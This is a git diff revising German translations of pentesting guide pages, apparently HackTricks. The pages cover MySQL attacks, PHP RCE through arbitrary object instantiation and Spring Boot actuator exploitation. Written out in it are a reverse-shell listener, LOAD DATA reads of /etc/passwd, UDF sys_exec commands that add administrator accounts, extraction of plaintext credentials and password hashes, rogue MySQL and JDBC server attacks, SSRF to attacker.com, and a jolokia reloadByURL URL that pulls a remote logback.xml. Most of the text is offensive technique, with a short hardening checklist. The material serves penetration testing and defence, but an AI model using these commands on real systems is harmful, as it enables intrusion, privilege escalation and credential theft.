+* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, den Pfad zu verkürzen und absolute-Pfad-Beschränkungen zu umgehen. +* Wenn die Eingabe des Angreifers mit `%128s` (oder ähnlichem) extrahiert wird, schneidet jedes Leerzeichen die payload ab; verwende MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen. +* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt die `FILE`-Berechtigung, aber in vielen Appliances (z. B. FortiWeb) läuft der Dienst als **root**, wodurch Schreibzugriff fast überall möglich ist. -Nachdem die `.pth` abgelegt wurde, rufe einfach ein beliebiges CGI auf, das vom python-Interpreter verarbeitet wird, um Codeausführung zu erhalten: +Nachdem die `.pth` abgelegt wurde, fordere einfach ein beliebiges CGI an, das vom python interpreter verarbeitet wird, um code execution zu erhalten: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Der Python-Prozess importiert die bösartige `.pth` automatisch und führt das shell payload aus. +Der Python-Prozess wird die bösartige `.pth` automatisch importieren und das shell payload ausführen. ``` # Attacker $ nc -lvnp 4444 @@ -148,22 +148,21 @@ uid=0(root) gid=0(root) groups=0(root) --- -## MySQL: Beliebiges Dateilesen durch den Client +## MySQL arbitrary read file by client -Tatsächlich, wenn du versuchst, **load data local into a table** den **Inhalt einer Datei** zu laden, fordert der MySQL- oder MariaDB-Server den **Client auf, sie zu lesen** und den Inhalt zu senden. **Wenn du einen mysql client manipulieren kannst, damit er sich mit deinem eigenen MySQL-Server verbindet, kannst du beliebige Dateien lesen.**\ -Bitte beachte, dass dies das Verhalten ist, wenn verwendet wird: +Tatsächlich: Wenn du versuchst, mit **load data local into a table** den **content of a file** zu laden, fordert der MySQL- oder MariaDB-Server den **client to read it** auf und der Client sendet den Inhalt. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\ +Bitte beachte, dass dieses Verhalten bei Verwendung von: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Beachte das Wort "local")\ -Ohne das Wort "local" kann man Folgendes erhalten: +(Beachte das Wort "local")\ Denn ohne das "local" bekommst du: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initialer PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Erstes PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Hier finden Sie eine Übersicht über den Angriff:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -172,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ## POST -### Mysql Benutzer +### Mysql-Benutzer Es ist sehr interessant, wenn mysql als **root** läuft: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Gefährliche Einstellungen von mysqld.cnf +#### Gefährliche Einstellungen in mysqld.cnf -In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen genutzt, um Betrieb und Sicherheit festzulegen: +In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um den Betrieb und die Sicherheitsmaßnahmen zu definieren: -- Die **`user`**-Einstellung legt den Benutzer fest, unter dem der MySQL-Dienst ausgeführt wird. -- Mit **`password`** wird das Passwort des MySQL-Benutzers festgelegt. -- **`admin_address`** gibt die IP-Adresse an, die auf dem administrativen Netzwerkinterface für TCP/IP-Verbindungen lauscht. -- Die **`debug`**-Variable zeigt die aktuellen Debug-Konfigurationen an, die sensible Informationen in Logs enthalten können. -- Mit **`sql_warnings`** wird gesteuert, ob Informationsstrings für INSERT-Anweisungen mit einer Zeile erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten. -- Mit **`secure_file_priv`** wird der Umfang von Import- und Export-Operationen eingeschränkt, um die Sicherheit zu erhöhen. +- Die **`user`**-Einstellung wird genutzt, um den Benutzer anzugeben, unter dem der MySQL-Dienst ausgeführt wird. +- **`password`** wird verwendet, um das Passwort des MySQL-Benutzers festzulegen. +- **`admin_address`** gibt die IP-Adresse an, die auf der administrativen Netzwerkschnittstelle für TCP/IP-Verbindungen lauscht. +- Die **`debug`**-Variable gibt die aktuellen Debug-Konfigurationen an, einschließlich sensibler Informationen in den Logs. +- **`sql_warnings`** steuert, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten. +- Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportvorgängen eingeschränkt, um die Sicherheit zu erhöhen. -### Privilege escalation +### Privilegieneskalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -210,16 +209,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Wenn der **mysql server is running as root** (oder ein anderer, höher privilegierter Benutzer), können Sie ihn dazu bringen, Befehle auszuführen. Dafür müssen Sie **user defined functions** verwenden. Und um eine user defined zu erstellen, benötigen Sie eine **library** für das OS, auf dem mysql läuft. +Wenn der **mysql server is running as root** (oder ein anderer, höher privilegierter Benutzer) läuft, kannst du ihn Befehle ausführen lassen. Dafür musst du **user defined functions** verwenden. Und um eine user defined zu erstellen, benötigst du eine **library** für das OS, auf dem mysql läuft. -Die bösartige library, die verwendet werden kann, finden Sie in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **linux** libraries und die **`.dll`** sind die **Windows**-Versionen — wählen Sie die, die Sie benötigen. +Die bösartige Library, die verwendet werden soll, findest du in sqlmap und metasploit, indem du **`locate "*lib_mysqludf_sys*"`** ausführst. Die **`.so`** Dateien sind **linux** libraries und die **`.dll`** die **Windows**-Dateien — wähle die, die du brauchst. -Wenn Sie diese libraries **nicht haben**, können Sie entweder **danach suchen**, oder diesen [**linux C code**](https://www.exploit-db.com/exploits/1518) herunterladen und **compile it inside the linux vulnerable machine**: +Wenn du diese Libraries **nicht hast**, kannst du entweder **danach suchen**, oder diesen [**linux C code**](https://www.exploit-db.com/exploits/1518) herunterladen und ihn **auf der verwundbaren linux-Maschine kompilieren**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Jetzt, da Sie die Bibliothek haben, melden Sie sich im Mysql als privilegierter Benutzer (root?) an und befolgen Sie die nächsten Schritte: +Jetzt, da du die Bibliothek hast, login im Mysql als privilegierter Benutzer (root?) und folge den nächsten Schritten: #### Linux ```sql @@ -255,36 +254,36 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` #### Windows-Tipp: Verzeichnisse mit NTFS ADS aus SQL erstellen -Unter NTFS kann man die Erstellung von Verzeichnissen mittels eines alternate data stream erzwingen, selbst wenn nur eine file write primitive existiert. Wenn die classic UDF chain ein `plugin`-Verzeichnis erwartet, dieses aber nicht existiert und `@@plugin_dir` unbekannt oder gesperrt ist, kann man es zuerst mit `::$INDEX_ALLOCATION` erstellen: +Auf NTFS kannst du die Erstellung von Verzeichnissen mithilfe eines alternativen Datenstroms (alternate data stream) erzwingen, selbst wenn nur ein file write primitive vorhanden ist. Wenn die klassische UDF chain ein `plugin`-Verzeichnis erwartet, dieses aber nicht existiert und `@@plugin_dir` unbekannt oder gesperrt ist, kannst du es zuerst mit `::$INDEX_ALLOCATION` erstellen: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Dies verwandelt das eingeschränkte `SELECT ... INTO OUTFILE` in ein umfassenderes Primitiv auf Windows-Stacks, indem die für UDF drops benötigte Ordnerstruktur erstellt wird. +Damit lässt sich das eingeschränkte `SELECT ... INTO OUTFILE` auf Windows-Stacks zu einer vollständigeren Primitive ausbauen, indem die für UDF drops benötigte Ordnerstruktur angelegt wird. -### MySQL-Zugangsdaten aus Dateien extrahieren +### MySQL-Anmeldedaten aus Dateien extrahieren -In _/etc/mysql/debian.cnf_ findet man das **Klartext-Passwort** des Benutzers **debian-sys-maint** +In _/etc/mysql/debian.cnf_ findest du das **Klartext-Passwort** des Benutzers **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Du kannst **diese credentials verwenden, um dich in die mysql database einzuloggen**. +Du kannst **use these credentials to login in the mysql database**. -In der Datei: _/var/lib/mysql/mysql/user.MYD_ findest du **alle hashes der MySQL-Benutzer** (die du aus mysql.user innerhalb der Datenbank extrahieren kannst)_._ +In der Datei: _/var/lib/mysql/mysql/user.MYD_ findest du **all the hashes of the MySQL users** (die du aus mysql.user in der Datenbank extrahieren kannst)_._ Du kannst sie extrahieren, indem du: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Logging aktivieren +### Aktivierung der Protokollierung -Du kannst das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem du die Kommentare in den folgenden Zeilen entfernst: +Sie können die Protokollierung von mysql-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die Kommentarzeichen der folgenden Zeilen entfernen: ![](<../images/image (899).png>) ### Nützliche Dateien -Configuration Files +Konfigurationsdateien - windows \* - config.ini @@ -299,14 +298,14 @@ Configuration Files - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Command History +- Befehlsverlauf - \~/.mysql.history -- Log Files +- Protokolldateien - connections.log - update.log - common.log -## Standard MySQL Datenbank/Tabellen +## Standard-MySQL-Datenbanken/-Tabellen {{#tabs}} {{#tab name="information_schema"}} @@ -611,7 +610,7 @@ x$statements\_with\_errors\_or\_warnings\ x$statements_with_full_table_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements_with_sorting\ -x$statements_with_temp_tables\ +x$statements\_with\_temp\_tables\ x$user_summary\ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ @@ -657,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Höhepunkte (neu) +## 2023-2025 Highlights (neu) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Ab Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC URL** beeinflussen kann (z. B. in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), über den `propertiesTransform`-Parameter verlangen, dass beliebige Klassen auf der *client* side geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt das zu **remote code execution in the context of the JDBC client** (pre-auth, da keine gültigen Zugangsdaten erforderlich sind). Ein minimales PoC sieht wie folgt aus: +Ab Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC URL** beeinflussen kann (z. B. in Drittanbieter-Software, die nach einem Connection-String fragt), über den Parameter `propertiesTransform` verlangen, dass beliebige Klassen auf der *Client*-Seite geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt dies zu **remote code execution in the context of the JDBC client** (pre-auth, weil keine gültigen Anmeldedaten erforderlich sind). Ein minimales PoC sieht so aus: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Das Ausführen von `Evil.class` kann so einfach sein wie das Platzieren auf dem Classpath der verwundbaren Anwendung oder das Zulassen, dass ein bösartiger MySQL-Server ein bösartiges serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisiere den Treiber oder setze explizit `propertiesTransform` auf eine allow-list. -(Siehe Snyk-Write-up für Details) +Das Ausführen von `Evil.class` kann so einfach sein, wie sie auf dem class-path der verwundbaren Anwendung bereitzustellen oder einen rogue MySQL server ein bösartiges serialisiertes Objekt senden zu lassen. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie `propertiesTransform` explizit auf eine allow-list. +(Siehe Snyk write-up für Details) -### Bösartige / gefälschte MySQL-Server-Angriffe gegen JDBC-Clients -Mehrere Open-Source-Tools implementieren ein *partielles* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden: +### Rogue / Fake MySQL Server-Angriffe gegen JDBC-Clients +Mehrere Open-Source-Tools implementieren ein *partial* MySQL-Protokoll, um JDBC-Clients anzugreifen, die Verbindungen nach außen herstellen: -* **mysql-fake-server** (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits) -* **rogue_mysql_server** (Python, ähnliche Möglichkeiten) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) -Typische Angriffsabläufe: +Typische Angriffswege: 1. Die Opferanwendung lädt `mysql-connector-j` mit `allowLoadLocalInfile=true` oder `autoDeserialize=true`. -2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird. -3. Der bösartige Server antwortet mit manipulierten Paketen, die entweder `LOCAL INFILE`-basiertes beliebiges Dateilesen oder Java-Deserialisierung auslösen → RCE. +2. Der Angreifer kontrolliert DNS / hosts-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird. +3. Der bösartige Server antwortet mit speziell gestalteten Paketen, die entweder `LOCAL INFILE` arbitrary file read oder Java deserialization → RCE auslösen. -Beispiel-Einzeiler, um einen gefälschten Server zu starten (Java): +Beispiel-One-Liner, um einen Fake-Server zu starten (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Zeige die Zielanwendung dann auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lese `/etc/passwd`, indem du den Dateinamen im *username*-Feld als Base64 kodierst (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Zeige dann die victim application auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lese `/etc/passwd`, indem du den Dateinamen als base64 im *username*-Feld kodierst (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (mode **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen seit 2023 offline cracking. Exportiere die `authentication_string`-Spalte und füttere sie direkt: +MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (mode **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen Offline-Cracking seit 2023. Dump die `authentication_string`-Spalte und speise sie direkt ein: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -696,15 +695,15 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### Härtungs-Checkliste (2025) -• Setzen Sie **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese/-Schreib-Primitiven zu unterbinden. -• Entfernen Sie das **`FILE`**-Privileg von Anwendungskonten. -• Bei Connector/J setzen Sie `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer). -• Deaktivieren Sie ungenutzte Authentifizierungs-Plugins und **erzwingen Sie TLS** (`require_secure_transport = ON`). -• Überwachen Sie auf `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen. +• Set **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese-/Schreib-Primitives zu unterbinden. +• Entferne das **`FILE`**-Privileg von Anwendungskonten. +• Bei Connector/J setze `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer). +• Deaktiviere ungenutzte Authentifizierungs-Plugins und **erfordere TLS** (`require_secure_transport = ON`). +• Überwache auf `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen. --- -## References +## Quellen - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index d8f4f987c..d30489da3 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE durch Ausnutzung der Objekt-Erstellung: new $_GET["a"]($_GET["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -6,13 +6,13 @@ Dies ist im Wesentlichen eine Zusammenfassung von [https://swarm.ptsecurity.com/ ## Einführung -Die Erstellung neuer beliebiger Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben. Dieses Dokument stellt verschiedene Strategien zur Erreichung von RCE vor. +Das Erstellen neuer beliebiger Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor. -## RCE via Custom Classes or Autoloading +## RCE mittels Custom Classes oder Autoloading -Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können. +Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste an den Konstruktor übergebene Argument ist. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können. -Betrachte den folgenden Codeausschnitt: +Betrachten Sie den folgenden Codeausschnitt: ```php class App { function __construct ($cmd) { @@ -51,66 +51,66 @@ Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschi Fehlen eigene Klassen oder Autoloader, können **eingebaute PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und installierten Erweiterungen zwischen etwa 100 und 200. Sie lassen sich mit `get_declared_classes()` auflisten. -Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und im Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt. +Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und dem Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt. -**Zu spezifischen Methoden für RCE gehören:** +**RCE durch spezifische Methoden umfasst:** ### **SSRF + Phar Deserialization** -Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs: +Die `SplFileObject`-Klasse ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF kann in Versionen von PHP vor 8.0 unter Verwendung des Phar-Protokolls zu deserialization attacks führen. +SSRF kann in PHP-Versionen vor 8.0 mithilfe des Phar-Protokolls zu Deserialisierungsangriffen führen. -### **Exploiting PDOs** +### **Ausnutzen von PDOs** -Der Konstruktor der PDO-Klasse erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann möglicherweise die Erstellung von Dateien oder andere Interaktionen ermöglichen: +Der PDO-Klassenkonstruktor erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann potenziell die Erstellung von Dateien oder andere Interaktionen ermöglichen: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -PHP-Versionen bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der libxml2-Version. +Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der libxml2-Version. -## RCE über die Imagick-Erweiterung +## RCE über Imagick Extension -Bei der Analyse der **Projektabhängigkeiten** wurde festgestellt, dass **Imagick** durch Instanziieren neuer Objekte für **command execution** missbraucht werden kann. Dies eröffnet Möglichkeiten zur Ausnutzung von Schwachstellen. +Bei der Analyse der **Projektabhängigkeiten** wurde festgestellt, dass **Imagick** durch das Instanziieren neuer Objekte für **command execution** nutzbar ist. Dies bietet die Möglichkeit, Schwachstellen auszunutzen. ### VID parser -Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dadurch könnte eine PHP-Shell in ein webzugängliches Verzeichnis abgelegt werden, was Remote Code Execution (RCE) ermöglicht. +Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen und damit Remote Code Execution (RCE) ermöglichen. #### VID Parser + File Upload -Es ist zu beachten, dass PHP hochgeladene Dateien temporär in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick, der das **msl**-Protokoll verwendet, kann Wildcards in Dateipfaden verarbeiten und so die Übertragung der temporären Datei an einen gewählten Ort ermöglichen. Diese Methode bietet einen zusätzlichen Ansatz, beliebiges Dateischreiben im Dateisystem zu erreichen. +Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in `/tmp/phpXXXXXX` ablegt. Der VID-Parser in Imagick, der das **msl**-Protokoll nutzt, kann Wildcards in Dateipfaden verarbeiten und ermöglicht so das Kopieren der temporären Datei an einen gewählten Speicherort. Diese Methode bietet einen zusätzlichen Weg, beliebiges Schreiben von Dateien im Dateisystem zu erreichen. ### PHP Crash + Brute Force -Eine in der [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschriebene Methode beinhaltet das Hochladen von Dateien, die einen Serverabsturz vor der Löschung auslösen. Durch Brute-Forcing des Namens der temporären Datei kann Imagick beliebigen PHP-Code ausführen. Diese Technik funktionierte jedoch nur in einer veralteten Version von ImageMagick. +Eine Methode, beschrieben im [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als wirksam. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Wenn Benutzereingaben den Klassennamen kontrollieren (z.B., `new $_GET['model']()`), führte PHP 7.0.0 im Zuge des `Throwable`-Refactorings einen temporären Bug ein, bei dem die Engine fälschlicherweise den Klassennamen während der Auflösung als printf-Formatstring behandelte. Dies ermöglicht klassische printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds). +Wenn Benutzereingabe den Klassennamen steuert (z. B. `new $_GET['model']()`), führte PHP 7.0.0 während des `Throwable`-Refactors einen temporären Bug ein, bei dem die Engine den Klassennamen irrtümlich als printf-Formatstring bei der Auflösung behandelte. Das ermöglicht klassische printf-style primitives in PHP: leaks with `%p`, write-count control with width specifiers und arbitrary writes mit `%n` gegen in-process pointers (z. B. GOT-Einträge bei ELF-Builds). -Minimales reproduzierbares verwundbares Muster: +Minimal reproduzierbares verwundbares Muster: ```php d%$n`, um die partielle Überschreibung zu platzieren. +Hinweise: +- Funktioniert nur unter PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in späteren Releases behoben. Schweregrad: kritisch, falls beliebige Klasseninstanziierung existiert. +- Typische Payloads verketten viele `%p`, um den Stack zu durchlaufen, und verwenden dann `%.d%$n`, um die partielle Überschreibung zu platzieren. ## Referenzen diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 6c1e2e08b..9482afdb4 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -1,4 +1,4 @@ -# Spring Actuators +# Spring Actuatoren {{#include ../../banners/hacktricks-training.md}} @@ -8,28 +8,28 @@ **Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Ausnutzen von Spring Boot Actuators -**Siehe den Originalbeitrag:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Siehe den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Kernaussagen:** +### **Kernpunkte:** -- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung oft. -- Bestimmte Actuator-Endpunkte können sensitive Daten offenlegen oder schädliche Aktionen erlauben: +- Spring Boot Actuatoren registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung häufig. +- Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen erlauben: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`. -- In Spring Boot 1.x werden Actuators unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen. +- In Spring Boot 1.x werden Actuatoren unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen. -### **Exploitation-Techniken:** +### **Ausnutzungsmethoden:** 1. **Remote Code Execution via '/jolokia'**: -- Der `/jolokia` Actuator-Endpunkt macht die Jolokia Library zugänglich, die HTTP-Zugriff auf MBeans ermöglicht. +- Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia Library, die HTTP-Zugriff auf MBeans ermöglicht. - Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL nachzuladen, was zu blind XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann. - Beispiel-Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Modifikation von Umgebungs-Properties. -- Properties können manipuliert werden, um Schwachstellen auszunutzen, wie z. B. die XStream-Deserialisierungs-Schwachstelle in der Eureka serviceURL. -- Beispiel POST-Request: +- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Änderung von Umgebungs-Properties. +- Properties können so manipuliert werden, dass Schwachstellen ausgenutzt werden, z. B. die XStream-Deserialisierungsschwachstelle in der Eureka serviceURL. +- Beispiel-Exploit-POST-Request: ``` POST /env HTTP/1.1 @@ -40,32 +40,32 